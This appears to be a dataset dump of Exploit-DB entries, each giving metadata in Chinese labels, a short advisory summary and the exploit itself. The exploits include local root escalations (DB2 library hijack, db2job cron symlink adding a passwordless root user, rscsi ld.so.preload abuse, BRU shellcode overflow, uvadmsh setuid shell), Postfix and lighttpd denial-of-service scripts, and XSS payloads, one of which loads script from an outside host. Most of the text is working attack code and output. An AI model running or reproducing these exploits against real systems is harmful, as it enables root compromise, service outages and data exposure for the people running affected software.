QLWD/code_shield huggingface dataset:
标题: IBM DB2 - Shared Library Injection EDB-ID: 22989 CVE: 2003-1052 类型: LOCAL 平台: UNIX 发布日期: 2003-08-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/8346/info

IBM DB2 ships with a number of shared libraries, stored in a directory owned by the user and group 'bin'. As setuid root utilities are linked to these libraries, their ownership by a user and group of a lower privilege level constitutes a vulnerability. If an attacker can obtain user or group bin privileges, the shared libraries can be overwritten with malicious replacements designed to obtain root privileges from the setuid root utilities that use them.

#!/usr/bin/perl

#IBM DB2 local root from uid=bin 
#deadbeat,
#e: daniels@legend.co.uk
#e: deadbeat@sdf.lonestar.org

print "\nIBM db2 local bin escape to root sploit\n";
print "Preparing exploit...\n";

system("cd /usr/IBMdb2/V7.1/lib");
open FILEHANDLE, (">foo.c")or die "Cant open foo for writing..:(\n";
print FILEHANDLE "#include <stdio.h>\n";
print FILEHANDLE "#include <string.h>\n\n";
print FILEHANDLE "_init() {\n";
print FILEHANDLE "\tprintf(\"init..()\\n\");\n";
print FILEHANDLE "\tprintf(here we go: PID=\%i EUID=\%i\", getpid(), getuid());\n";
print FILEHANDLE "\tsystem(\"/bin/bash\");\n";
print FILEHANDLE "\tprintf(\"wicked done and dusted..\\n\")\n";
print FILEHANDLE "}";
close FILEHANDLE;
system("gcc -fpic -shared -o libdl.so.2 foo.c");
exec("db2dari") URL: https://www.exploit-db.com/exploits/22989
标题: Postfix 1.1.x - Denial of Service (2) EDB-ID: 22982 CVE: 2003-0540 类型: DOS 平台: LINUX 发布日期: 2003-08-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/8333/info
 
Debian has reported two vulnerabilities in the Postfix mail transfer agent. The first vulnerability, CAN-2003-0468, can allow for an adversary to "bounce-scan" a private network. It has also been reported that this vulnerability can be exploited to use the server as a distributed denial of service tool. These attacks are reportedly possible through forcing the server to connect to an arbitrary port on an arbitrary host.
 
The second vulnerability, CAN-2003-0540, is another denial of service. It can be triggered by a malformed envelope address and can cause the queue manager to lock up until the message is removed manually from the queue. It is also reportedly possible to lock the SMTP listener, also resulting in a denial of service.

#!/usr/bin/perl

#Remote Dos for postfix version 1.1.12
#tested on redhat 9.0, redhat 8.0, mandrake 9.0
#deadbeat,
#mail: daniels@legend.co.uk
#  deadbeat@sdf.lonestar.org
#
#thanks..enjoy ;)

use IO::Socket;
if (!$ARGV[3]){
   die "Usage:perl $0 <subject> <data> <smtp host to use>\n";
}
$subject = $ARGV[0];
$junk = $ARGV[1];
$smtp_host = $ARGV[2];


$helo = "HELO $smtp_host\r\n";
$rcpt = "RCPT To:<nonexistant@127.0.0.1>\r\n";
$data = "DATA\n$junk\r\n";
$sub = "Subject: $subject\r\n";
$from = "MAIL From <.!@$smtp_host>\r\n";
print "Going to connect to $smtp_host\n";
$sox = IO::Socket::INET->new(
   Proto=> 'tcp',
   PeerPort=>'25',
   PeerAddr=>'$smtp_host',
);
print "Connected...\n";
print $sox $helo;
sleep 1;
print $sox $from;
sleep 1;
print $sox $rcpt;
sleep 1;
print $sox $sub;
sleep 1;
print $sox $data;
sleep 1;
print $sox ".\r\n\r\n";
sleep 1;
close $sox;
print "Done..should lock up Postfix 1.1.12 and below ;)\n\n"; URL: https://www.exploit-db.com/exploits/22982
标题: IBM DB2 db2job - File Overwrite EDB-ID: 22988 CVE: 2003-0898 类型: LOCAL 平台: UNIX 发布日期: 2003-08-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/8344/info

IBM's DB2 database ships with a utility called db2job, installed with permissions 4550 and owned by root.db2asgrp. 

It has been reported that db2job writes to a number of files with root privileges. The files written to are created with 0770 permissions (owner, group writeable) and are owned by root.db2asgrp. If a symbolic link is written to, the file pointed to will be overwritten and given these permissions. This can be exploited by local attackers with execute privileges to gain root access by writing malicious data to sensitive files (such as /etc/passwd, /etc/shadow) that have been overwritten.

It should be noted, however, that db2job is allegedly not world-executable by default. The two members of group db2asgrp, db2as and db2inst1, are the only users besides root that would normally have execute access. If the attacker can run commands or gain the access level of those accounts, they may further elevate their access level through exploitation of this vulnerability.

#!/bin/bash

DB2JOB=/home/db2as/sqllib/adm/db2job
CRONFILE=/etc/cron.hourly/pakito
USER=pakito

unset DB2INSTANCE
export DB2DIR=./trash

if [ -d $DB2DIR ]; then
echo Trash directory already created
else
mkdir $DB2DIR
fi

cd $DB2DIR
if [ -f ./0_1.out ]; then
echo Link Already Created
else
ln -s $CRONFILE ./0_1.out
fi

$DB2JOB


echo "echo "#!/bin/bash"" > $CRONFILE
echo "echo "$USER:x:0:0::/:/bin/bash" >> /etc/passwd" >> $CRONFILE
echo "echo "$USER::12032:0:99999:7:::" >> /etc/shadow" >> $CRONFILE
echo " must wait until cron execute $CRONFILE and then exec su pakito" URL: https://www.exploit-db.com/exploits/22988
标题: Postfix 1.1.x - Denial of Service (1) EDB-ID: 22981 CVE: 2003-0540 类型: DOS 平台: LINUX 发布日期: 2003-08-04 漏洞利用脚本: // source: https://www.securityfocus.com/bid/8333/info

Debian has reported two vulnerabilities in the Postfix mail transfer agent. The first vulnerability, CAN-2003-0468, can allow for an adversary to "bounce-scan" a private network. It has also been reported that this vulnerability can be exploited to use the server as a distributed denial of service tool. These attacks are reportedly possible through forcing the server to connect to an arbitrary port on an arbitrary host. 

The second vulnerability, CAN-2003-0540, is another denial of service. It can be triggered by a malformed envelope address and can cause the queue manager to lock up until the message is removed manually from the queue. It is also reportedly possible to lock the SMTP listener, also resulting in a denial of service.

/*
 postfixdos.c for 1.1.12 by r3b00t <r3b00t@tx.pl>
 ------------------------------------------------
 remote/local Postfix up to (including) 1.1.12 DoS
 discovered by lcamtuf <lcamtuf@coredump.cx>
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <unistd.h>
#include <arpa/inet.h>

int sock = 0;

void get_response(void);
void say(char *it);

int main(int argc, char* argv[]) {
    struct hostent *hp;
    struct sockaddr_in addr;

    printf("postfixdos.c for 1.1.12 by r3b00t <r3b00t@tx.pl>\n");

    if (argc<2) {
        printf("usage: %s <smtpserver>\n", argv[0]);
        exit(0);
    }

    hp=gethostbyname(argv[1]);

    if (!hp) {
        printf("can't resolve %s\n", argv[1]);
        exit(0);
    }

    bzero((char *)&addr, sizeof(addr));

    if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
        printf("can't create socket\n");
        exit(0);
    }

    bcopy(hp->h_addr, (char *)&addr.sin_addr, hp->h_length);
    addr.sin_family=AF_INET;
    addr.sin_port=htons(25);

    if (connect(sock, (struct sockaddr *)&addr, sizeof(addr))!=0) {
        printf("can't connect to %s\n", argv[1]);
        close(sock);
        exit(0);
    }

    get_response();

    say("helo host\r\n");
    say("mail from: <.!>\r\n");
    say("rcpt to: <someuser123@[127.0.0.1]>\r\n");
    /* now should be freezed */

    shutdown(sock, 2);
    close(sock);

    printf("done.\n");

    return 0;
}

void get_response(void) {
    char buff[64];
    recv(sock, buff, sizeof(buff), 0);
    if (buff[0]!='2' && buff[0]!='3') printf("%s", buff);
}

void say(char *it) {
    send(sock, it, strlen(it), 0);
    get_response();
} URL: https://www.exploit-db.com/exploits/22981
标题: CDRTools 2.0 - RSCSI Debug File Arbitrary Local File Manipulation EDB-ID: 22979 CVE: 2003-0655 类型: LOCAL 平台: LINUX 发布日期: 2003-08-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/8328/info

It has been reported that the rscsi utility may provide for the modification of ownership and the corruption of arbitrary attacker specified files. 

It has been reported that a local attacker may invoke the rscsi utility to corrupt or seize group ownership of an attacker specified file. Because the rscsi utility is installed with setuid 'root' permissions by default, a local attacker may harness this vulnerability to achieve elevated privileges.

$ echo C`echo -e 
"\x08\x08\x08\x08\x08\x08\x08\x08\x08\x08r00t::0:0:root:/:/bin/bash\x0a"` | 
/opt/schily/sbin/rscsi /tmp/lala


[kf@vegeta kf]$ ls -al /etc/ld.so.preload
ls: /etc/ld.so.preload: No such file or directory
[kf@vegeta kf]$ cat > oops.c
int getuid(void)
{
return(0);
}
[kf@vegeta kf]$ gcc -c -o oops.o oops.c
[kf@vegeta kf]$ ld -shared -o oops.so oops.o
[kf@vegeta kf]$ ls -al oops.so
-rwxrwxr-x 1 kf kf 1714 Jul 30 18:53 oops.so
[kf@vegeta kf]$ echo duh_kf | /opt/schily/sbin/rscsi /etc/ld.so.preload
E0
Garbage command
0
-rw-rw-r-- 1 root kf 1 Jul 30 19:29 /etc/ld.so.preload
[kf@vegeta kf]$ echo /home/kf/oops.so > /etc/ld.so.preload
[kf@vegeta kf]$ su
[root@vegeta kf]# rm /etc/ld.so.preload
rm: remove regular file `/etc/ld.so.preload'? y
[root@vegeta kf]# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) URL: https://www.exploit-db.com/exploits/22979
标题: ManDB Utility 2.3/2.4 - Local Buffer Overflow EDB-ID: 22971 CVE: 2003-0620 类型: LOCAL 平台: LINUX 发布日期: 2003-07-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/8303/info

The mandb utility has been reported to be affected by multiple local buffer overflow vulnerabilities.

These issues present themselves due to insufficient bounds checking performed on user-supplied data before it is copied into reserved buffers in memory. It has been reported that a local attacker may exploit these issues to execute arbitrary instructions in the context of the mandb utility.

# cd /tmp
# mkdir x
# echo MANDB_MAP `perl -e 'print"x"x8100'` x >~/.manpath
# mandb
Segmentation fault

(can also apply this to the "man" binary, by fooling it with links)
# cd /tmp
# mkdir x
# ln /usr/bin/man mandb
# echo MANDB_MAP `perl -e 'print"x"x8100'` x >~/.manpath
# ./mandb
Segmentation fault

# man -M `perl -e 'print"/"x2100'`usr/share/man ls
...(verbose)
Segmentation fault

# cd /tmp
# mkdir man man/man1
# echo .so `perl -e 'print"x"x1024'` >man/man1/x.1
# man -M /tmp/man x
...(verbose)
Segmentation fault

# man -M `perl -e 'print"/tmp:"x260'` x
Segmentation fault URL: https://www.exploit-db.com/exploits/22971
标题: Gallery 1.2/1.3.x - Search Engine Cross-Site Scripting EDB-ID: 22961 CVE: 2003-0614 类型: WEBAPPS 平台: PHP 发布日期: 2003-07-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/8288/info

Gallery is prone to a cross-site scripting vulnerability. This issue is present in the search engine facility provided by the software. An attacker could exploit this issue by constructing a malicious link to the search engine that contains hostile HTML and script code. Attacker-supplied code could be rendered in the browser of a user who follows such a link.

http://www.example.com/<galleryfolder>/search.php?searchstring=<script>alert('XSS')</script> URL: https://www.exploit-db.com/exploits/22961
标题: xfstt 1.2/1.4 - Memory Disclosure EDB-ID: 22952 CVE: 2003-0625 类型: DOS 平台: LINUX 发布日期: 2003-07-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/8255/info

xfstt is reported to be prone to an unspecified memory disclosure vulnerability. This issue can be triggered by remote attackers to cause a denial of service. The server may also return details about the memory layout of the underlying system when this issue is triggered.

# telnet localhost 7101
Trying 127.0.0.1...
Connected to localhost.localdomain.
Escape character is '^]'.
xxxxxxx
HDxxxxxxx

Ã¾@Connection closed by foreign host. URL: https://www.exploit-db.com/exploits/22952
标题: mcrypt 2.6.8 - Stack Buffer Overflow (PoC) EDB-ID: 22938 CVE: 2012-4409 类型: DOS 平台: LINUX 发布日期: 2012-11-26 漏洞利用脚本: #!/usr/bin/env python

# mcrypt <= 2.6.8 stack-based buffer overflow poc
# http://mcrypt.sourceforge.net/
# (the command line tool, not the library)
#
# date: 2012-09-04
# exploit author: _ishikawa
# tested on: ubuntu 12.04.1
# tech: it overflows in check_file_head() when decrypting .nc files with too long salt data
#
# shout-outs to all cryptoparty people

import sys

sprawl = 105
gibson = "\x00\x6d\x03\x40\x73\x65\x72\x70\x65\x6e\x74\x00\x20\x00\x63\x62"
gibson += "\x63\x00\x6d\x63\x72\x79\x70\x74\x2d\x73\x68\x61\x31\x00"
gibson += chr(sprawl)
gibson += ("A" * sprawl)
gibson += (chr(0) * 3)

try:
  count0 = open("cyberpunk.nc", "wb")
  count0.write(gibson)
  count0.close()
except IOError:
  print "file error"
  sys.exit(1)

print "now run  mcrypt -d cyberpunk.nc" URL: https://www.exploit-db.com/exploits/22938
标题: Novell Netware Enterprise Web Server 5.1/6.0 - 'CGI2Perl.NLM' Buffer Overflow (PoC) EDB-ID: 22949 CVE: 2003-0562 类型: DOS 平台: NETWARE 发布日期: 2003-07-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/8251/info

Novell Netware Enterprise Web Server cgi2perl.nlm has been reported prone to a buffer overflow vulnerability.

The issue presents itself, likely due to insufficient bounds checking performed on user-supplied data. It has been reported that a remote attacker may send data in a manner sufficient to trigger the condition, and cause one or more server ABEND conditions.

http://www.example.com/perl/aaaaaa...[Unspecified number of characters] URL: https://www.exploit-db.com/exploits/22949
标题: eStore 1.0.1/1.0.2 - 'Settings.inc.php' Full Path Disclosure EDB-ID: 22925 CVE: 2003-0586 类型: WEBAPPS 平台: PHP 发布日期: 2003-07-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/8220/info

eStore is prone to a path disclosure vulnerability.

It has been reported that a remote attacker may make a direct HTTP request for an eStore include script and in doing so trigger an error. The resulting error message will disclose potentially sensitive installation path information to the remote attacker.

http://www.example.com/admin/settings.inc.php URL: https://www.exploit-db.com/exploits/22925
标题: Witango Server 5.0.1.061 - Remote Cookie Buffer Overflow EDB-ID: 22926 CVE: 2003-0595 类型: DOS 平台: MULTIPLE 发布日期: 2003-07-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/8224/info

Witango Server is prone to a remote buffer overflow vulnerability. Remote users may be able to send an HTTP request to a Witango server with a cookie containing a specific variable set to an excessively large value. Remote code execution is possible.

GET /ngssoftware.tml HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword,
application/x-shockwave-flash, */*
Accept-Language: en-gb
User-Agent: My Browser
Host: ngssoftware.com
Connection: Keep-Alive
Cookie: Witango_UserReference= parameter length 2864 URL: https://www.exploit-db.com/exploits/22926
标题: Microsoft ISA Server 2000 - Cross-Site Scripting EDB-ID: 22919 CVE: 2003-0526 类型: REMOTE 平台: WINDOWS 发布日期: 2003-07-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/8207/info

ISA server will output certain error pages when requests that are invalid, for whatever reason, are transmitted through it. These error pages will appear in the context of the domain that the request was made for. It has been reported that many of these error pages contain cross-site scripting vulnerabilities that allow for the execution of script code (embedded in the request URI) in the context of client requested domains.

The following proof-of-concept was provided:
http://<img%09src=""%09onerror="document.scripts[0].src=%27http%5Cx3a%5Cx2f%5Cx2fjscript.dk%5Cx2ftest.js%27;">script@YOUR.TLD/%U0

The above proof-of-concept will include and execute http://jscript.dk/test.js on YOUR.TLD, this is provided that YOUR.TLD is protected by an ISA Server installation.

*http://<iframe>:test@[site]/test

The exploit provided for BID 4486 will also reportedly work for this vulnerability.

An additional proof-of-concept was supplied by "http-equiv@excite.com" <1@malware.com> that demonstrates a true status and a false destination:
<A href="http://www.example.com%09%09%09@%09%09%09%09%09%09
09www.malware.com">http://www.example.com</A> URL: https://www.exploit-db.com/exploits/22919
标题: Microsoft Windows - DCOM RPC Interface Buffer Overrun EDB-ID: 22917 CVE: 2003-0352 类型: REMOTE 平台: WINDOWS 发布日期: 2003-08-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/8205/info
   
A buffer overrun vulnerability has been reported in Microsoft Windows that can be exploited remotely via a DCOM RPC interface that listens on TCP/UDP port 135. The issue is due to insufficient bounds checking of client DCOM object activation requests. Exploitation of this issue could result in execution of malicious instructions with Local System privileges on an affected system.
   
This issue may be exposed on other ports that the RPC Endpoint Mapper listens on, such as TCP ports 139, 135, 445 and 593. This has not been confirmed. Under some configurations the Endpoint Mapper may receive traffic via port 80.
   
** There have been unconfirmed reports that Windows 9x systems with certain software installed may also be vulnerable to this issue. Reportedly, Windows 98 systems with .NET software installed may be vulnerable according to scans using various DCOM RPC vulnerability scanning tools. Symantec has not confirmed this behaviour and it may in fact be due to false positives generated by the scanners.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22917.zip URL: https://www.exploit-db.com/exploits/22917
标题: Tolis Group BRU 17.0 - Local Privilege Escalation (1) EDB-ID: 22923 CVE: 2003-0584 类型: LOCAL 平台: UNIX 发布日期: 2003-07-16 漏洞利用脚本: // source: https://www.securityfocus.com/bid/8215/info

It has been reported that BRU may not properly parse commandline arguments, potentially leading to at least two vectors of exploitation. It may be possible for local attackers to conduct format string-based attacks as well as buffer overflow-based attacks.

It should be noted that although BRU does not ship with the suid bit set by default, documentation within the software may instruct users to enable it.

/** EST BRU(TM) Backup and Restore Utility Local Root Exploit
 **
 ** By: Dvdman@l33tsecurity.com
 **
 ** Simple Stack overflow Wont say any more :P
 **
 ** Linux & FreeBsd Targets
 **
 ** Greetz: sam,flatline,v0id,#!l33tsecurity@efnet,KF,b0iler,schlumpf,kokanin,DSR
 **
 ** Public Release
 ** L33tsecurity 2003; irc.secsup.org #l33tsecurity
 **/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/errno.h>

#define FUN "./bru"

char shellcode[] =
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

    /* SETUID(0) SHELLCODE LINUX */
    "\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc"
    "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f"
    "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x54\x24\x08\x50\x53\x8d"
    "\x0c\x24\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";

unsigned long sp(void) {
           __asm__("movl %esp,%eax");
}

int main(int argc, char **argv) {

    char buffer[9000];
    int x,target;  
    char    *env[2];
    char    *args[24];

    unsigned long ret = 0xbffffffa - strlen(shellcode) - strlen(FUN); 

    int *ptr = (int *)(buffer);
    if (argc != 2) {
       usage();
       exit(0);
       }
        
    target = atoi(argv[1]);

   if (target == 0) {
    for (x=0; x<9000 ; x+=4)
      *ptr++ = (ret + 1);
   }

   if (target == 1) {
     for (x=0; x<3500 ; x+=4)
          *ptr++ = 0xbfbffe48;
   }
    
    /* put in env */  
    env[0] = shellcode;     
    env[1] = NULL;


    args[0] = FUN;
    args[1] = buffer;
    args[2] = NULL;


    execve (args[0], args, env);
    perror ("execve");        
}       


int usage() {
printf("EST BRU(TM)local root exploit\n");
printf("By: Dvdman@l33tsecurity.com\n");
printf("Usage: ./ex_bru target\n");
printf("TARGET LIST:\n");
printf("0. LINUX\n1. FREEBSD\n");
return 0;
} URL: https://www.exploit-db.com/exploits/22923
标题: IBM UniVerse 10.0.0.9 - 'uvadmsh' Local Privilege Escalation EDB-ID: 22912 CVE: 2003-0579 类型: LOCAL 平台: UNIX 发布日期: 2003-07-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/8203/info

A vulnerability has been reported in the IBM U2 UniVerse uvadmsh program that could permit the uvadm user to execute arbitrary code with elevated privileges. The -uv.install option of the vulnerable program allows a user to specify an arbitrary path to a file. In cases where uvadmsh is installed setuid root, this could be abused to run an executable file of the attacker's choosing.

While this vulnerability was reported in UniVerse version 10.0.0.9, previous versions are likely vulnerable as well. 

[uvadm@vegeta uvadm]$ cat > /tmp/uv.install.c
main()
{
setuid(0);
system("cc -o /tmp/owned /tmp/owned.c");
system("chmod 4755 /tmp/owned");
}

[uvadm@vegeta uvadm]$ cc -o /tmp/uv.install /tmp/uv.install.c
[uvadm@vegeta uvadm]$ cat > /tmp/owned.c
main()
{
setuid(0);
system("/bin/bash");
}

[uvadm@vegeta uvadm]$ ls -al /tmp/owned
ls: /tmp/owned: No such file or directory

[uvadm@vegeta uvadm]$ /usr/ibm/uv/bin/uvadmsh -uv.install /tmp
[uvadm@vegeta uvadm]$ ls -al /tmp/owned
-rwsr-xr-x 1 root uvadm 11640 Jul 2 20:15 /tmp/owned

[uvadm@vegeta uvadm]$ /tmp/owned
[root@vegeta uvadm]# id
uid=0(root) gid=503(uvadm) groups=503(uvadm) URL: https://www.exploit-db.com/exploits/22912
标题: lighttpd 1.4.31 - Denial of Service (PoC) EDB-ID: 22902 CVE: 2012-5533 类型: DOS 平台: LINUX 发布日期: 2012-11-22 漏洞利用脚本: #!/bin/bash
# Exploit Title: simple lighttpd 1.4.31 DOS POC
# Date: 11/21/2012
# Exploit Author: t4c@ghcif.de
# Vendor Homepage: http://www.lighttpd.net
# Software Link: http://download.lighttpd.net/lighttpd/releases-1.4.x/lighttpd-1.4.31.tar.gz 
# Version: 1.4.31
# Tested on: Debian Linux, Gentoo Linux, Arch Linux
# CVE: CVE-2012-5533

if [ $# -lt 2 ]
then
 echo "usage :$0 <Host/IP> <Port>"
else
 echo -ne "GET / HTTP/1.1\r\nHost: pwn.ed\r\nConnection: TE,,Keep-Alive\r\n\r\n" | nc $1 $2
fi URL: https://www.exploit-db.com/exploits/22902
标题: PHP 4.3.x - Undefined Safe_Mode_Include_Dir Safemode Bypass EDB-ID: 22911 CVE: 2003-0863 类型: LOCAL 平台: PHP 发布日期: 2003-07-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/8201/info

PHP is prone to an issue that may allow programs to bypass Safe Mode by calling external files in restricted directories using include() and require().

The problem is known to occur when the safe_mode_include_dir PHP directive is not defined. A logic error reportedly exists which could result in PHP failing to run a security check when attempting to access a file via an include() or require() call, potentially bypassing the Safe Mode model. This could allow unauthorized access or policy bypass in environments that use Safe Mode, such as in cases where a web server resource is shared by multiple users.

This issue is reported to exist in PHP versions 4.3.0 and later. 

<?
echo("trying to read /etc/passwd");
include("/etc/passwd");
?> URL: https://www.exploit-db.com/exploits/22911